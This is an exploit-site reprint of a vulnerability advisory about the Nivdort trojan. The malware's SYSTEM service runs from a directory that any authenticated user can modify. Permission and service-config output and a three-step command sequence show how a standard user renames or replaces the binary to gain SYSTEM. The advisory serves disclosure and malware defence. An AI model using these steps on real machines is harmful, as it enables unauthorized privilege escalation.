TrojanSpy Win32 Nivdort / Insecure Permissions - EoP (SYSTEM)

CVE Category Price Severity
N/A CWE-269 Not specified High
Author Risk Exploitation Type Date
Unknown High Local 2024-01-22

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

TrojanSpy Win32 Nivdort / Insecure Permissions - EoP (SYSTEM)
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source:
Contact: [email protected]

Threat: TrojanSpy Win32 Nivdort
Vulnerability: Insecure Permissions - EoP (SYSTEM) 
Family: Nivdort
Type: PE32
MD5: 15bda00b57e2ed729a45f7cfa62165da
Vuln ID: MVID-2024-0668
Dropped files: dqrpgvnkh, egjrdhynfm, nhefhloix, rvoyf6ljtqg4zejno.exe
Disclosure: 01/20/2024

The malware creates a service which runs as SYSTEM and grants change (C) permissions to the authenticated user group on its installation directory. Standard low integrity users can still rename the service executable while it is running, replace the PE file with their own and restart the infected system to start the service.

C:\>cacls C:\pewcvmnvyr\jwgaklb.exe
C:\pewcvmnvyr\jwgaklb.exe BUILTIN\Administrators:(ID)F
                          NT AUTHORITY\SYSTEM:(ID)F
                          NT AUTHORITY\Authenticated Users:(ID)C

C:\>sc qc "Group Key KtmRm Coordinator Registry TPM Bus"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Group Key KtmRm Coordinator Registry TPM Bus
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\pewcvmnvyr\jwgaklb.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Group Key KtmRm Coordinator Registry TPM Bus
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Open a cmd prompt as standard user:

1) unhide the service binary
   C:\Users\norgt>attrib -s -h \pewcvmnvyr\jwgaklb.exe

2) rename the service binary
C:\Users\norgt>ren \pewcvmnvyr\jwgaklb.exe PWNED

3) optional replace with your own binary and escalate to SYSTEM

C:\Users\norgt>dir \pewcvmnvyr\
 Directory of C:\pewcvmnvyr
01/14/2024  02:05 AM                 0 dqrpgvnkh
01/14/2024  02:05 AM                 6 egjrdhynfm
01/14/2024  02:09 AM                 4 nhefhloix
01/14/2024  02:05 AM           332,800 PWNED   <================= DONE
01/14/2024  02:05 AM           332,800 rvoyf9njtqg4zejno.exe

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.